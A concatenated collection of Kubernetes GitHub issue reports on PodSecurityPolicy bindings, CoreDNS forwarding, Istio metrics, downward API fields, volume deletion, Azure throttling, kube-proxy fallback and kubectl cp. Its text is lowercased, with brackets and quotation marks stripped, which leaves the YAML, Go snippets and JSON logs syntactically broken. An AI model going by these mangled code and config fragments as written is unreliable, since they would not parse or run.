  \r   what happened  :\r - when creating a deployment with an authenticated token in a custom namespace  test , the pod had an annotation  kubernetes.io/psp=privileged . the token used only has access to  use  the  default  psp  both of which exist and have relevant bindings in place .\r \r   what you expected to happen  :\r - the annotation on the pod should be  kubernetes.io/psp=default \r \r   how to reproduce it  as minimally and precisely as possible   :\r - create a kubernetes cluster on v1.10.1  i built with kops in this instance, admission controls:  initializers, mutatingadmissionwebhook, namespacelifecycle, limitranger, serviceaccount, persistentvolumelabel, defaultstorageclass, podsecuritypolicy, resourcequota, defaulttolerationseconds, validatingadmissionwebhook  \r - define podsecuritypolicies:\r    yaml\r apiversion: extensions/v1beta1\r kind: podsecuritypolicy\r metadata:\r   name: default\r spec:\r   privileged: false\r   fsgroup:\r     rule: runasany\r   hostpid: false\r   hostipc: false\r   hostnetwork: false\r   runasuser:\r     rule: mustrunasnonroot\r   selinux:\r     rule: runasany\r   supplementalgroups:\r     rule: runasany\r   volumes:\r   - configmap\r   - downwardapi\r   - emptydir\r   - gitrepo\r   - persistentvolumeclaim\r   - projected\r   - secret\r ---\r apiversion: extensions/v1beta1\r kind: podsecuritypolicy\r metadata:\r   name: privileged\r spec:\r   fsgroup:\r     rule: runasany\r   hostpid: true\r   hostipc: true\r   hostnetwork: true\r   hostports:\r   - min: 1\r     max: 65536\r   privileged: true\r   runasuser:\r     rule: runasany\r   selinux:\r     rule: runasany\r   supplementalgroups:\r     rule: runasany\r   volumes:\r   - ' '\r    \r -  cluster roles:\r    yaml\r apiversion: rbac.authorization.k8s.io/v1beta1\r kind: clusterrole\r metadata:\r   name: psp:default\r rules:\r - apigroups:\r   - policy\r   resources:\r   - podsecuritypolicies\r   resourcenames:\r   - default\r   verbs:\r   - use\r ---\r apiversion: rbac.authorization.k8s.io/v1beta1\r kind: clusterrole\r metadata:\r   name: psp:privileged\r rules:\r - apigroups:\r   - policy\r   resources:\r   - podsecuritypolicies\r   resourcenames:\r   - privileged\r   verbs:\r   - use\r    \r - and  cluster rolebindings:\r    yaml\r kind: clusterrolebinding\r apiversion: rbac.authorization.k8s.io/v1beta1\r metadata:\r   name: psp:default\r roleref:\r   kind: clusterrole\r   name: psp:default\r   apigroup: rbac.authorization.k8s.io\r subjects:\r   every authenticated user can use default psp\r - kind: group\r   name: system:authenticated\r   apigroup: rbac.authorization.k8s.io\r   every service account can use default psp\r - kind: group\r   name: system:serviceaccounts\r   apigroup: rbac.authorization.k8s.io\r ---\r kind: clusterrolebinding\r apiversion: rbac.authorization.k8s.io/v1beta1\r metadata:\r   name: psp:privileged\r roleref:\r   kind: clusterrole\r   name: psp:privileged\r   apigroup: rbac.authorization.k8s.io\r subjects:\r   everyone in the system:masters group can use privileged psp\r - kind: group\r   name: system:masters\r   apigroup: rbac.authorization.k8s.io\r   every serviceaccount in the kube-system namespace can use privileged psp\r - kind: group\r   name: system:serviceaccounts:kube-system\r   apigroup: rbac.authorization.k8s.io\r    \r \r - create a new namespace for testing, and a token with access to it  or use the default sa within that namespace, granting it relevant access to create deployments etc .\r   -   don't   add it to the clusterrolebindings mentioned above, or add the  system:masters  /  system:serviceaccounts:kube-system  groups\r - using this new token, create a deployment / pod within your test namespace and then check the annotations on it  you should see  kubernetes.io/psp=privileged  \r - delete the last group assignment  system:serviceaccounts:kube-system  on the clusterrolebinding for  psp:privileged , then update / re-create your deployment with the token created earlier. you should now see the annotation  kubernetes.io/psp=default \r \r so it seems that if a role binding has the group  system:serviceaccounts:kube-system  specified, then any token  i've tried with user and service-account  is able to use any podsecuritypolicy resources associated with it, regardless of whether it is in this group/namespace or not. is this expected, or are there any silly mistakes i've made in the specs above?\r \r   environment  :\r - kubernetes version: v1.10.1\r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release : coreos v1688.5.3\r - kernel  e.g.  uname -a  : 4.14.32-coreos\r - install tools: kops  v1.9.0+

\r hello,\r \r i have a kubernetes cluster running with version 1.11.2 with coredns version 1.1.13.\r previously we have been using kubernetes version 1.10 with kubedns, dnsmasq, and sidecar.\r \r here is an example of coredns proxy plugin where it proxies everything \r using the host's resolv.conf's nameservers:\r . {\r     proxy . /etc/resolv.conf \r }\r \r assuming there are multiple nameservers entries defined in /etc/resolv.conf. \r \r does anyone know if coredns has a feature similar to the strict-order feature of \r dnsmasq, where it will try each query with each server strictly in the order \r they appear in /etc/resolv.conf listed above?\r \r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r i am not sure if this is a bug with istio, helm, or kubernetes. i originally noticed this with helm, but when trying to apply the file without using helm, i would expect my changes to be applied, but they aren't. thanks!\r \r   what happened  :\r i installed istio using helm. i then went to update the out of the box metrics. i used  kubectl apply -f my-metrics.yaml . it says it was configured, but nothing changed.\r \r   what you expected to happen  :\r i expected my changes to be visible when running  kubectl get metric tcpbytereceived -n istio-system -o yaml \r \r   how to reproduce it  as minimally and precisely as possible   :\r 1  install istio using helm\r 2  apply the following yaml  adjust the namespace accordingly :\r    \r apiversion: \ config.istio.io/v1alpha2\ \r kind: metric\r metadata:\r   name: tcpbytereceived\r   namespace: istio-system\r spec:\r   value: connection.received.bytes | 0\r   dimensions:\r       reporter: conditional  context.reporter.kind | \ inbound\   == \ outbound\ , \ source\ , \ destination\  \r     source_workload: source.workload.name | \ unknown\ \r       source_workload_namespace: source.workload.namespace | \ unknown\ \r       source_principal: source.principal | \ unknown\ \r       source_app: source.labels \ app\   | \ unknown\ \r       source_version: source.labels \ version\   | \ unknown\ \r     destination_workload: destination.workload.name | \ unknown\ \r       destination_workload_namespace: destination.workload.namespace | \ unknown\ \r       destination_principal: destination.principal | \ unknown\ \r       destination_app: destination.labels \ app\   | \ unknown\ \r       destination_version: destination.labels \ version\   | \ unknown\ \r       destination_service: destination.service.name | \ unknown\ \r       destination_service_name: destination.service.name | \ unknown\ \r       destination_service_namespace: destination.service.namespace | \ unknown\ \r       connection_security_policy: conditional  context.reporter.kind | \ inbound\   == \ outbound\ , \ unknown\ , conditional connection.mtls | false, \ mutual_tls\ , \ none\   \r   monitored_resource_type: '\ unspecified\ '\r    \r 3  now run  kubectl get metric tcpbytereceived -n istio-system -o yaml  and observe that the file hasn't been change\r 4  apply the file again and notice that k8 says  metric.config.istio.io/tcpbytereceived unchanged \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r  server version: version.info{major:\ 1\ , minor:\ 12\ , gitversion:\ v1.12.3\ , gitcommit:\ 435f92c719f279a3a67808c80521ea17d5715c66\ , gittreestate:\ clean\ , builddate:\ 2018-11-26t12:46:57z\ , goversion:\ go1.10.4\ , compiler:\ gc\ , platform:\ linux/amd64\ } \r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release :  debian gnu/linux 8  jessie  \r - kernel  e.g.  uname -a  :  linux ptms-798799d878-phx97 4.14.96-coreos  1 smp mon jan 28 05:16:10 -00 2019 x86_64 gnu/linux \r - install tools: helm\r - others:

i want to know if --cpuset-cpus in supported in kubernetes so that we can launch containers with that property. initiated at  10570  but i am not finding enough resources if it can.

suggestion of best practices are listed in  7257, examples should follow them.  assigning to @bgrant0607 to delegate.  cc @brendanburns @davidopp  -     aws_ebs -     blog-logging -     cassandra -     celery-rabbitmq  11401 -     cluster-dns -     elasticsearch -     explorer -     glusterfs -     guestbook -     guestbook-go -     hazelcast -     high-availability -     https-nginx -     iscsi -     k8petstore -     kubectl-container -     meteor  11399 -     mysql-wordpress-pd -     nfs -     openshift-origin -     phabricator -     rbd -     redis -     rethinkdb -     spark -     storm

as an important aspect of the rktnetes 1.0, we want to give users some data on how the rktnetes performs today in terms of: -  x  pod resource overhead   - cpu, memory usage  https://github.com/coreos/rkt/pull/2520    - it's almost there, we might need to do the benchmark for a longer period  >> 10s . -  x  pod launch latency   - from kubelet receives the pod spec to when the pod is running.   - run the e2e density test.  desity test result  https://console.cloud.google.com/storage/browser/rktnetes-benchmark  -  x  node cpu usage   - for given number of pods running on a host  e.g. 30, 50, 100    -  result and comparison with docker  https://docs.google.com/spreadsheets/d/1lcmajsnr6suev9k75o_w0sklgsf0gvc5uetlzgzt5dy/edit?usp=sharing   cc @kubernetes/sig-node @philips @jonboulle @tmrts

this is tied to the upstream issue  27204 which introduces pod level cgroups in kubernetes.  for accessing the node resource allocatable quantity i would be adding a node capacity/allocatable provider interface.this interface would support methods to return the node capacity and allocatable values.   adding this interface would also help us simplify the current method of getting node capacity and allocatable values in the kubelet and container manager. i have listed down places where i think this interface can be used. 1. set container resource limits as node allocatable in defaultpodlimitsfordownwardapi.     @derekwaynecarr why do we currently set the container limits to node capacity and not allocatable values? 2. if cgroup root is specified and it's not system root ie. \ /\   we will set resource limits on specified cgroup_root to node allocatable values. 3. pod and cgroup resource limits would be capped by the node allocatable values.  @yujuhong @derekwaynecarr @vishh i was not sure as to where to have this interface.  particularly how to get the kubelet's cached node status from outside of kubelet??  or only the kubelet has access to this information. if that is the case then we can just have this interface in the kubelet and pass it down to the container manager.  cc @kubernetes/sig-node

in certain cases, node might be deleted ungracefully before unmounting/detach volumes. in current workflow, if node is deleted ungracefully, attachdetach controller will not be able to remove it from the actual and desired states, which leave the stale information in the cached states and cause problem in the following reconciler actions.  https://github.com/kubernetes/kubernetes/blob/d06359d6a00cf420fb8240cb1cb66b4fd204d26d/pkg/controller/volume/attachdetach/cache/desired_state_of_world.go l248  a few questions need to be clear before working on the solution 1. when a node fails  or deleted ungracefully , will a node delete event be observed from the shared informer? how about pod deletion? also in this condition, can we assume that the volume is detached from the node and can be safely attache to somewhere else? 2. if network partition happens, how will the system react? the same question as in 1.

problem  using a dynamic provisioned cinder volume, when the pvc is deleted, pv entered   failed   status. it looks like volume detaching and deleting happened at the same time. after a while, i found my pv and volume eventually deleted. i feel obligated to post the issue i have met here.   version      client version: version.info{major:\ 1\ , minor:\ 4+\ , gitversion:\ v1.4.0-alpha.3.61+f73c68440408fa-dirty\ , gitcommit:\ f73c68440408fa507234c28dbb4b4d48735df56e\ , gittreestate:\ dirty\ , builddate:\ 2016-08-26t08:32:58z\ , goversion:\ go1.6.2\ , compiler:\ gc\ , platform:\ linux/amd64\ } server version: version.info{major:\ 1\ , minor:\ 4+\ , gitversion:\ v1.4.0-alpha.3.61+f73c68440408fa-dirty\ , gitcommit:\ f73c68440408fa507234c28dbb4b4d48735df56e\ , gittreestate:\ dirty\ , builddate:\ 2016-08-26t08:32:58z\ , goversion:\ go1.6.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }       kube-controller-manager.log      i0826 06:03:36.681789    1146 controller.go:450  volume \ pvc-94e36100-6b71-11e6-8eda-fa163ee4c2be\  is released and reclaim policy \ delete\  will be executed i0826 06:03:36.684934    1146 controller.go:670  volume \ pvc-94e36100-6b71-11e6-8eda-fa163ee4c2be\  entered phase \ released\  i0826 06:03:36.686426    1146 controller.go:1131  isvolumereleased pvc-94e36100-6b71-11e6-8eda-fa163ee4c2be : volume is released e0826 06:03:36.840736    1146 openstack_volumes.go:195  cannot delete volume 06c4c4fd-a36e-49df-88f6-b4f93e32d0d5: expected http response code  202 204  when accessing  delete http://10.8.188.11:8776/v1/fba689ab76d44366ac463280bb51bfd5/volumes/06c4c4fd-a36e-49df-88f6-b4f93e32d0d5 , but got 400 instead {\ badrequest\ : {\ message\ : \ volume 06c4c4fd-a36e-49df-88f6-b4f93e32d0d5 is still attached, detach volume first.\ , \ code\ : 400}} i0826 06:03:36.840782    1146 cinder_util.go:127  error deleting cinder volume 06c4c4fd-a36e-49df-88f6-b4f93e32d0d5: expected http response code  202 204  when accessing  delete http://10.8.188.11:8776/v1/fba689ab76d44366ac463280bb51bfd5/volumes/06c4c4fd-a36e-49df-88f6-b4f93e32d0d5 , but got 400 instead {\ badrequest\ : {\ message\ : \ volume 06c4c4fd-a36e-49df-88f6-b4f93e32d0d5 is still attached, detach volume first.\ , \ code\ : 400}} i0826 06:03:36.840800    1146 controller.go:1069  deletion of volume \ pvc-94e36100-6b71-11e6-8eda-fa163ee4c2be\  failed: delete of volume \ pvc-94e36100-6b71-11e6-8eda-fa163ee4c2be\  failed: expected http response code  202 204  when accessing  delete http://10.8.188.11:8776/v1/fba689ab76d44366ac463280bb51bfd5/volumes/06c4c4fd-a36e-49df-88f6-b4f93e32d0d5 , but got 400 instead {\ badrequest\ : {\ message\ : \ volume 06c4c4fd-a36e-49df-88f6-b4f93e32d0d5 is still attached, detach volume first.\ , \ code\ : 400}} i0826 06:03:36.843695    1146 controller.go:670  volume \ pvc-94e36100-6b71-11e6-8eda-fa163ee4c2be\  entered phase \ failed\  i0826 06:03:36.843713    1146 controller.go:692  volume \ pvc-94e36100-6b71-11e6-8eda-fa163ee4c2be\  changed status to \ failed\ : delete of volume \ pvc-94e36100-6b71-11e6-8eda-fa163ee4c2be\  failed: expected http response code  202 204  when accessing  delete http://10.8.188.11:8776/v1/fba689ab76d44366ac463280bb51bfd5/volumes/06c4c4fd-a36e-49df-88f6-b4f93e32d0d5 , but got 400 instead {\ badrequest\ : {\ message\ : \ volume 06c4c4fd-a36e-49df-88f6-b4f93e32d0d5 is still attached, detach volume first.\ , \ code\ : 400}} i0826 06:03:39.198523    1146 reconciler.go:115  started detachvolume for volume \ kubernetes.io/cinder/06c4c4fd-a36e-49df-88f6-b4f93e32d0d5\  from node \ jhoukube\  i0826 06:03:39.200263    1146 operation_executor.go:633  verified volume is safe to detach for volume \ kubernetes.io/cinder/06c4c4fd-a36e-49df-88f6-b4f93e32d0d5\   spec.name: \ pvc-94e36100-6b71-11e6-8eda-fa163ee4c2be\   from node \ jhoukube\ . i0826 06:03:39.258935    1146 openstack_instances.go:78  found 26 compute flavors i0826 06:03:39.258949    1146 openstack_instances.go:79  claiming to support instances i0826 06:03:41.263209    1146 openstack_volumes.go:92  successfully detached volume: 06c4c4fd-a36e-49df-88f6-b4f93e32d0d5 from compute: c649e11e-4bed-4c41-bc0b-fc60517a8fca i0826 06:03:41.263225    1146 attacher.go:240  detatached volume \ 06c4c4fd-a36e-49df-88f6-b4f93e32d0d5\  from instance \ c649e11e-4bed-4c41-bc0b-fc60517a8fca\

the volume system of kubernetes defines two somewhat distinct entities -  plugins  and  provisioners . there are separate interfaces defined for plugins and separate interfaces defined for provisioners such as  plugins.go  vs  volumes.go  in   pkg/volume  directory.\r \r however concrete implementation of plugins and provisioner is not very distinct. they are often defined in same file with overlapping code. i think we should cleanly isolate them which will improve readability and maintenance. \r \r cc @saad-ali @jsafrane @rootfs @jingxu97

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : no\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : azure route\r \r ---\r \r   is this a bug report or feature request?    choose one : bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r v1.4.6\r gitversion:\ v1.4.6\ , gitcommit:\ e569a27d02001e343cb68086bc06d47804f62af6\ ,\r \r   environment  :\r -   cloud provider or hardware configuration  : azure\r -   os    e.g. from /etc/os-release : ubuntu\r -   kernel    e.g.  uname -a  : 4.4.0-62-generic\r -   install tools  : acs-engine\r -   others  :\r \r \r   what happened  :\r when provisioning a cluster with more than 100 nodes, controller manager will hit the default azure subscription limit of \ 100 custom defined route per route table\ . when hitting this limit, the controller manager will keep retrying, eventually hitting azure resource manager write request limit 1200 / hour. once hitting this limit, azure returns 429 with a retry-after header. however the controller manager will continue retrying and maintain a request rate higher than 1200 / hour. effectively the azure subscription will maintain a throttling state forever until shutdown master node. this can even block other write operations from azure portal etc.\r \r   what you expected to happen  :\r route controller should retry with proper backoff, and azure_routes.go should respect the retry-after header and backoff based on it.\r \r   how to reproduce it    as minimally and precisely as possible :\r 1. provision a cluster with >100 agent node on azure\r 2. wait at least 1 hour\r 3. kubectl logs kube-controller-manager-k8s-master-xxxx --namespace kube-system --tail 50 to see the failures saying being throttled.\r \r   anything else we need to know  :\r \r

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : no\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : downward api \r \r ---\r \r   is this a bug report or feature request?    choose one : feature request  sort of? \r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r  client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.3\ , gitcommit:\ 029c3a408176b55c30846f0faedf56aae5992e9b\ , gittreestate:\ clean\ , builddate:\ 2017-02-22t10:12:27z\ , goversion:\ go1.8\ , compiler:\ gc\ , platform:\ darwin/amd64\ } \r \r  server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.3\ , gitcommit:\ 029c3a408176b55c30846f0faedf56aae5992e9b\ , gittreestate:\ clean\ , builddate:\ 1970-01-01t00:00:00z\ , goversion:\ go1.7.3\ , compiler:\ gc\ , platform:\ linux/amd64\ } \r \r \r \r   what happened  :\r \r the documentation on the downwardapi explains how to retrieve information, but does not state that most data is exclusive for each method of exposing data.\r \r node name i have only been able to pull using envvars. to try 'spec.nodename' as  volfile creates this error:\r \r  spec.volumes 0 .downwardapi.fieldref.fieldpath: unsupported value: \ spec.nodename\ : supported values: metadata.annotations, metadata.labels, metadata.name, metadata.namespace \r \r from my testing, the following appears true:\r  \r either method can get:\r   metadata.name\r   metadata.namespace\r   limits.cpu\r   limits.memory\r   requests.cpu\r   requests.memory\r \r dapi volfiles can retrieve:\r   metadata.annotations\r   metadata.labels\r \r envvars can get:\r   spec.nodename\r   spec.serviceaccountname\r   status.podip\r \r the documentation currently doesn't describe this, and it seems like it should. it took me some time and digging to determine these differences, which i hadn't expected.\r \r the documentation as it stands makes it seem the two methods are mostly interchangeable in terms of data.  even the text provided on  \ exposing pod information to containers using a downwardapivolfile\   https://kubernetes.io/docs/tasks/configure-pod-container/downward-api-volume-expose-pod-information/  includes the information at the end, only mentioning what is exclusive to the dapi volfile and not what's exclusive to envvar:\r \r > the following information is available to containers through environment variables and downwardapivolumefiles:\r the node’s name\r the pod’s name\r the pod’s namespace\r the pod’s ip address\r the pod’s service account name\r a container’s cpu limit\r a container’s cpu request\r a container’s memory limit\r a container’s memory request\r in addition, the following information is available through downwardapivolumefiles.\r the pod’s labels\r the pod’s annotations\r \r the corresponding doc emphasizing the envvar approach,  \ exposing pod information to containers through environment variables\   https://kubernetes.io/docs/tasks/configure-pod-container/environment-variable-expose-pod-information/ \r \r while it would be great to have both methods return the same data, this issue exists because i'm volunteering to flesh out the documentation  hopefully saving people some time digging  and to get confirmation that:\r \r - it's ok to make the changes to the documentation\r - my understanding of the dapi is correct; is there a way to reference some of this data that i am missing?\r \r again, whether the data should exist or not in certain places is not my issue; right now i simply want to document how it currently is to clear up confusion  and maybe the confusion is mine! \r \r \r

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-ingress/7691/ multiple broken tests:  failed:  k8s.io  loadbalancing: l7  k8s.io  gce  slow   feature:ingress  should create ingress with given static-ip {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:126 apr 24 12:29:02.315: couldn't delete ns: \ e2e-tests-ingress-2nl25\ : an error on the server  \ internal server error: \\\ /api/v1/namespaces/e2e-tests-ingress-2nl25\\\ : an error on the server  \\\ unknown\\\   has prevented the request from succeeding\   has prevented the request from succeeding  delete namespaces e2e-tests-ingress-2nl25   &errors.statuserror{errstatus:v1.status{typemeta:v1.typemeta{kind:\ \ , apiversion:\ \ }, listmeta:v1.listmeta{selflink:\ \ , resourceversion:\ \ }, status:\ failure\ , message:\ an error on the server  \\\ internal server error: \\\\\\\ /api/v1/namespaces/e2e-tests-ingress-2nl25\\\\\\\ : an error on the server  \\\\\\\ unknown\\\\\\\   has prevented the request from succeeding\\\   has prevented the request from succeeding  delete namespaces e2e-tests-ingress-2nl25 \ , reason:\ internalerror\ , details:  v1.statusdetails  0xc420fcc3c0 , code:500}} ,couldn't delete ns: \ e2e-tests-ingress-44qc6\ : an error on the server  \ internal server error: \\\ /api/v1/namespaces/e2e-tests-ingress-44qc6\\\ : an error on the server  \\\ unknown\\\   has prevented the request from succeeding\   has prevented the request from succeeding  delete namespaces e2e-tests-ingress-44qc6   &errors.statuserror{errstatus:v1.status{typemeta:v1.typemeta{kind:\ \ , apiversion:\ \ }, listmeta:v1.listmeta{selflink:\ \ , resourceversion:\ \ }, status:\ failure\ , message:\ an error on the server  \\\ internal server error: \\\\\\\ /api/v1/namespaces/e2e-tests-ingress-44qc6\\\\\\\ : an error on the server  \\\\\\\ unknown\\\\\\\   has prevented the request from succeeding\\\   has prevented the request from succeeding  delete namespaces e2e-tests-ingress-44qc6 \ , reason:\ internalerror\ , details:  v1.statusdetails  0xc420f47720 , code:500}}  /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:279       failed:  k8s.io  loadbalancing: l7  k8s.io  gce  slow   feature:ingress  should conform to ingress spec {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:125 expected error:     < errors.errorstring | 0xc4203affe0>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:195       failed: test {e2e.go}      error during ./hack/ginkgo-e2e.sh --ginkgo.focus=\\ feature:ingress\\ : exit status 1     issues about this test specifically:  33361  38663  39788  39877  40371  40469  40478  40483  40668  41048  43025  44541   failed: dumpclusterlogs {e2e.go}      error during ./cluster/log-dump.sh /workspace/_artifacts: exit status 1     issues about this test specifically:  33722  37578  38206  40455  42934  43155  44504  previous issues for this suite:  38008  38021

failure cluster  2689904721ac7d5c675d  https://go.k8s.io/triage 2689904721ac7d5c675d        error text:     error during gsutil cat gs://container-vm-image-staging/k8s-version-map/gci-base-59-9460-52-0: exit status 1           failure cluster statistics: 1 tests failed,    6 jobs failed,    488 builds failed. failure stats cover 1 day time range '25 may 2017 13:03 utc' to '26 may 2017 13:03 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | | extract | 6 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gce-gci-qa-slow-master | 101 |  26 may 2017 11:30 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-gci-qa-slow-master/6631  | | ci-kubernetes-e2e-gce-gci-qa-master | 98 |  26 may 2017 11:32 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-gci-qa-master/9870  | | ci-kubernetes-e2e-gce-gci-qa-m59 | 85 |  26 may 2017 13:01 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-gci-qa-m59/1988  |   current status  https://go.k8s.io/triage 2689904721ac7d5c675d

is this a bug report or feature request?  :\r \r  \r it can be useful to be able to hit daemonset pods with http requests from application containers. for example, if we wish to push metrics to the daemonset pod to forward them to something like influxdb. currently, we can achieve this by specifying a static host port for the daemonset, and then using http://nodename:static-port/ for access. however, this does require a static port on the host.\r \r it would be great if \ full urls\  for daemonset ports were available as environment variables like they are for services. \r \r

if you try to do a strategic merge patch on a custom resource, it fails with an error like:\r \r    \r object 'kind' is missing in '{\ metadata\ :{\ labels\ :{\ even-odd\ :\ even\ }},\ object\ :{\ apiversion\ :\ myapp.ncdc.io/v1\ ,\ color\ :\ blue\ ,\ kind\ :\ widget\ ,\ metadata\ :{\ clustername\ :\ \ ,\ creationtimestamp\ :\ 2017-08-02t19:13:18z\ ,\ deletiongraceperiodseconds\ :null,\ deletiontimestamp\ :null,\ name\ :\ widget1\ ,\ namespace\ :\ myapp\ ,\ resourceversion\ :\ 316\ ,\ selflink\ :\ /apis/myapp.ncdc.io/v1/namespaces/myapp/widgets/widget1\ ,\ uid\ :\ a468af6d-77b6-11e7-b287-001c4236e660\ },\ sides\ :2}}'\r    \r \r because custom resources are decoded as   unstructured.unstructured , and because we're missing the metadata about how to handle each field in a strategic merge patch, we can't easily do a strategic merge here. we should fail fast and return an error saying that we can't yet do strategic merge patches for custom resources / unstructured data.\r \r  \r @kubernetes/sig-api-machinery-bugs @deads2k

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r \r see,\r \r    \r func tryipvsproxy iptver iptables.iptablesversioner, kcompat iptables.kernelcompattester  string {\r \t// guaranteed false on error, error only necessary for debugging\r \t// ipvs proxier relies on iptables\r \tuseipvsproxy, err := ipvs.canuseipvsproxier  \r \tif err != nil {\r \t\tutilruntime.handleerror fmt.errorf \ can't determine whether to use ipvs proxy, using userspace proxier: %v\ , err  \r \t\treturn proxymodeuserspace\r \t}\r \tif useipvsproxy {\r \t\treturn proxymodeipvs\r \t}\r \r \t// todo: check ipvs version\r \r \t// try to fallback to iptables before falling back to userspace\r \tglog.v 1 .infof \ can't use ipvs proxier, trying iptables proxier\  \r \treturn tryiptablesproxy iptver, kcompat \r }\r    \r \r kube-proxy will fallback to userspace mode when unable to load kernel modules. that's not intended.\r \r   what you expected to happen  :\r \r kube-proxy should fall back to iptables firstly when unable to load kernel modules\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r 

for various reasons  network topology, heterogenous nodes, etc  a user may want to control the addition of a node to a cloud load balancer.\r \r a specific issue with the azure container instances connector which introduces a _virtual_ node can be found here:\r \r https://github.com/azure/aci-connector-k8s/issues/51\r \r the right way to do this is via a node annotation, e.g.\r \r  alpha.service-controller.kubernetes.io/exclude-balancer \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r   \r   what happened  :\r some tests wait up to 5 minutes for the pod to not be running or pvc to not be bound.  it should be shortened to 1-2 minutes.\r \r tests that i know of:\r   local storage e2es for wrong nodes and wrong paths\r   dynamic provisioner e2e for disabling default storage class

it looks like when i cherry picked back the changes from pr/54838 i must have missed the part where we moved the flush up from where we star the kubelet to the configure firewall function.  this causes the rules to get flushed after we write them out.\r \r fix is to remove the the second flush and cherry pick it back into 1.7 and 1.8

feature request?\r \r  \r opening this issue to see if there is any work or thought about emitting a log of k8s jobs to some durable storage system for archival purposes.\r \r the use case is you submit a bunch of batch workloads  k8s jobs, argo workflows, spark jobs, tf jobs . there is a lot of valuable information the k8s job spec  e.g. docker image used, command line arguments, resource spec . for data provenance purposes its often useful to persist this information long after we would want to delete the object from the apiserver.\r \r it would be nice if k8s provided a general mechanism  similar to cluster level logging  to export these records to a suitable backend.\r \r there's a proposal floating around in kubeflow to do this kubeflow/kubeflow 264; but there's nothing about this proposal that's kubeflow specific as opposed to k8s.\r \r /cc @vishh \r

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r i asked kubectl to extract all the files in a container.\r \r    \r $ kubectl cp nginx:/ /tmp/nginx \r  ... \r $ ls /tmp/nginx/\r ar  bin  dockerenv  elinux  ev  ib  ib64  in  mp  nt  oot  pt  roc  rv  sr  tc  un  ys\r    \r \r only the names of the top level entries are concerned.\r \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r just cp the root folder somewhere.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r client version: version.info{major:\ 1\ , minor:\ 12\ , gitversion:\ v1.12.0\ , gitcommit:\ 0ed33881dc4355495f623c6f22e7dd0b7632b7c0\ , gittreestate:\ clean\ , builddate:\ 2018-09-27t17:05:32z\ , goversion:\ go1.10.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.3\ , gitcommit:\ a4529464e4629c21224b3d52edfe0ea91b072862\ , gittreestate:\ clean\ , builddate:\ 2018-09-09t17:53:03z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration: maas + juju\r - os  e.g. from /etc/os-release : ubuntu 16.04.5\r - kernel  e.g.  uname -a  : 4.4.0-137-generic  163-ubuntu smp mon sep 24 13:14:43 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r - install tools: juju bundle from canonical\r \r

